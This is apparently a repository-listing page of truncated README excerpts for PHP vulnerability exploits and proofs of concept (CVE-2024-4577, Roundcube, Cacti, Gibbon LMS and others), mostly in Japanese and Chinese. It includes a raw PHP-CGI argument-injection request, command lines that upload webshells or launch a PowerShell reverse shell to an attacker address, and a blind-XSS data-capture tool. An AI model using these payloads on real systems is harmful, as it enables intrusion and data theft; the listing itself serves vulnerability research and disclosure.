CVE-2024-4577

CVE-2024-4577, PHP-CGI における引数インジェクション ./CVE-2024-4577.sh /path/to/domains-list POC : POST /test.hello?%ADd+allowurlinclude%3d1+%ADd+autoprependfile%3dphp://input HTTP/1.1 Host: host User-Agent: curl/8.3.0 Accept: / Content-Length: 23 Content-Type: application/x-www-form-urlencoded Connection:...

CVE-2022-22909

CVE-2022-22909 説明 Hotel Druid v3.0.3 アプリケーションにコードインジェクションの脆弱性が発見されました。攻撃者はこれを悪用してサーバ上でリモートコードを実行できる可能性があります。 本脆弱性を悪用するには、攻撃者が新しい部屋を追加する権限を持っている必要があります。 脆弱性の説明 この脆弱性は、部屋名が /dati/selectappartamenti.php というファイルに ダブルクォート を用いて格納されるために発生します。 Room1 Room2 Room3 "; ? ペイロード...

cve-2020-11060-poc

CVE-2020-11060 このスクリプトは、GLPI バージョン 0.85～9.4.5 における CVE-2020-11060 のための Python 3.x ベースのエクスプロイトです。 オリジナル実装: 0xdreadnaught Python3 リファクタリング: n3rada ExploitDB の元の PoC は Python 2.x を使用していたため、現在は非推奨です。新しいバージョンが提出されており、承認され次第リンクをここに追加します。 これらの PoC の構築に使用された元の脆弱性調査は AlmondOffSec によって実施され、こちら で確認できます。 使用法...

CVE-2024-34220

Human Resource Management System Project in PHP and MySQL Free Source Code 提出者: Kha Do ベンダー: SourceCodester 影響を受けるバージョンおよび/または修正済みバージョン 脆弱性のあるファイル applyleave.php 問題の種類 脆弱性の種類 SQLインジェクション 影響 攻撃者はこの脆弱性を悪用してデータベースの権限を取得でき、その結果、データベース内の大量のデータが漏洩する可能性があります。相手のデータベースにDBA権限がある場合、サーバーホストの権限が取得される可能性があります...

CVE-2024-25641

CVE-2024-25641 Cacti 1.2.26 用 RCE このリポジトリは、Cacti 1.2.26 における CVE-2024-25641 の悪用プロセスを自動化します。 ユーザーが認証されている場合、「Package Import」機能を介して悪用可能な任意のファイル書き込みの脆弱性により、「Import Templates」権限を持つ認証ユーザーが Web サーバー上で任意の PHP コードを実行 RCE できるようになります。 オリジナルレポート:...

CVE-2023-45878

CVE-2023-45878 本脚本基于 https://herolab.usd.de/security-advisories/usd-2023-0025/ 的研究编写。该漏洞利用原理是通过 Gibbon LMS 25.0.1 中的任意文件写入漏洞。此PoC将上传一个简单的php命令执行脚本，然后使用该脚本加载一个powershell反向shell。 python3 CVE-2023-45878.py -u http://target.com/Gibbon-LMS -l 10.10.16.2 -p 8888 -f asdf 参数说明： -u, Gibbon LMS 安装的URL。 -l,...

CVE-2023-30253

CVE-2023-30253 Dolibarr 17.0.0 PHPコードインジェクションエクスプロイト...

CVE-2024-4577

CVE-2024-4577 概要 CVE-2024-4577 は、以下のバージョンの PHP サーバーに影響を与えるセキュリティ脆弱性です。 PHP 8.3.x 8.3.8 以前 PHP 8.2.x 8.2.20 以前 PHP 8.1.x 8.1.29 以前 8.0 より前のすべてのバージョン サポートされていないバージョン 7.x および 5.x この脆弱性は、Windows サーバー上で PHP CGI Common Gateway Interface を使用する際に発生するリモートコード実行 RCE の欠陥です。問題は、一部の言語設定で「最適な文字マッピング」が使用されているために...

zappzarapp-php-security

⚡ zappzarapp/security CSP、セキュリティヘッダー、CSRF保護、セキュアクッキー、パスワード検証、入力サニタイズ、レート制限、SRI、シークレット読み込み、暗号化、セッションセキュリティ、TOTP二要素認証、署名付きURL、セキュリティイベントログを提供する包括的なPHPセキュリティライブラリです。 主な特長 オールインワン — 単一の構成可能なパッケージに17のセキュリティモジュール デフォルトでセキュア — 厳格なCSP、unsafe-なし、HTTPS優先 フレームワーク非依存 — 任意のPHP 8.4+アプリケーションで動作 イミュータブル＆型安全 —...

CVE-2015-4133

CVE-2015-4133 CVE 2015-4133 - Reflex Gallery 3.1.3 任意文件上传到远程命令执行 描述 Reflex Gallery 是一款 WordPress 插件，其 3.1.3 版本存在一个漏洞，攻击者可以轻易利用该漏洞上传任意文件，例如 PHP 代码，从而实现远程命令执行。 Exploit Title: Wordpress Plugin Reflex Gallery - Arbitrary File Upload Google Dork: inurl:wp-content/plugins/reflex-gallery/ Date: 08.03.20...

CVE-2025-49113

CVE-2025-49113 – Roundcube Webmail RCE エクスプロイト Python PoC CVE ID: CVE-2025-49113 エクスプロイト種別: リモートコード実行（PHPオブジェクトインジェクション経由） 対象アプリケーション: Roundcube Webmail ≤ 1.5.9 および ≤ 1.6.10 エクスプロイト言語: Python 作成者: 00xCanelo ステータス: 脆弱なRoundcubeインストールでテスト済み、動作確認済み 📌 説明 このエクスプロイトは、Roundcube...

CVE-2024-4577-EXPLOIT

CVE-2024-4577 - PHP CGI 引数インジェクション リモートコード実行 RCE 特定のバージョンのPHP（8.1. 8.1.29未満、8.2. 8.2.20未満、8.3. 8.3.8未満）において、Windows上でApacheとPHP-CGIを使用する場合に深刻な脆弱性が存在します。システムが特定のコードページを使用するように設定されている場合、Windowsの「Best-Fit」動作により、Win32...

CVE-2025-14181

A flaw was found in PHP. A malicious server can cause a Denial of Service DoS by exploiting an improper buffer size check in the Simple Object Access Protocol SOAP client during HTTP response parsing. When responding to a request, the server can supply crafted data that triggers an integer...

CVE-2019-11043

CVE-2019-11043 0th3rs セキュリティチーム ====================== PHP バージョン 7.1.x で 7.1.33 未満、7.2.x で 7.2.24 未満、7.3.x で 7.3.11 未満 PHP 7.2.20/7.3.10 でテスト済み 手順 1、比較的安定しており、queryの長さとHeaderヘッダーフィールドの長さをブルートフォースで特定するだけでよい。 2、autosession で脆弱性の存在を検出する 3、対象のワーカープロセス数を判断して堅牢性を実現する 4、全ワーカープロセスを汚染する Nginx configuratio...

CVE-2022-24990

CVE-2022-24990 CVE-2022-24990 TerraMaster TOS の無認証リモートコード実行（PHP オブジェクトインスタンス化経由） 使用方法 脆弱性の検出。 python CVE-2022-24990.py -u http://127.0.0.1:8080 PHP ウェブシェルをアップロード。 python CVE-2022-24990.py -a http://127.0.0.1:8080 参考文献...

CVE-2021-30461

影響を受ける製品 VoIPmonitor 24.60 RCEの方法 python3 CVE-2021-30461.py -t ipaddress ブラウザシェル: http://x.x.x.x/namrlblgel.php?a=whoami 参照 https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/...

majordomo-CVE-2026-27174-poc

majordomo-CVE-2026-27174-poc 这是一个概念验证（PoC），利用 MajorDomo（Major Domestic Module）管理面板的 PHP 控制台功能，实现未经身份验证的远程代码执行。 漏洞 MajorDoMo 的管理面板通过 /admin.php 暴露了一个 PHP 求值控制台。由于 panel.class.php 在身份验证重定向后缺少 exit，AJAX 处理器 incpanelajax.php 会被无条件包含——使得任何未经身份验证的 HTTP 请求都能触达其 eval。 攻击者只需一个 GET 请求即可执行任意 PHP...

CVE-2023-51214

推奨説明 PHP v.1を使用したWebアプリケーションでのアクティビティログ実装におけるクロスサイトスクリプティングの脆弱性により、リモートの攻撃者が細工されたペイロードをURLに送信することで任意のコードを実行できる可能性があります。 脆弱性タイプ クロスサイトスクリプティング XSS 製品ベンダー sourcecodester.com 影響を受ける製品 PHPを使用したWebアプリでのアクティビティログ実装 - v1 影響を受けるコンポーネント URL 攻撃タイプ リモート 影響：コード実行 true 攻撃ベクター 詳細不要 参照...

XSSFire

XSSFire 一个独立的 Blind XSS 脚本。 工作原理： 该脚本是 PHP 和 JavaScript 的结合体，它使用 JS 捕获数据并将其发送到脚本本身，然后生成报告文件并通过 Telegram 传递。 要求： 1. 运行在 Linux 上的 Web 服务器，需要域名和 SSL 证书。 2. Telegram 账户（用于接收 BXSS 报告） 为什么选择 Telegram？ 易于设置。 快速。 可达性好。 功能： 1. 捕获：IP、User-Agent、日期时间、Local Storage、Session...

CVE-2026-5718-Lab

CVE-2026-5718 ローカル Docker ラボ ローカル専用の脆弱性版・修正版 Docker ラボで CVE-2026-5718 を扱います。この脆弱性は WordPress プラグイン Drag and Drop Multiple File Upload for Contact Form 7 に影響します。 このラボでは、脆弱性バージョン 1.3.9.6 と修正バージョン 1.3.9.7 の違いを、Docker 環境内でのみ動作する最小限の害の PHP 実行プルーフを用いて示します。 スコープ: localhost / Docker ネットワークのみ。この PoC...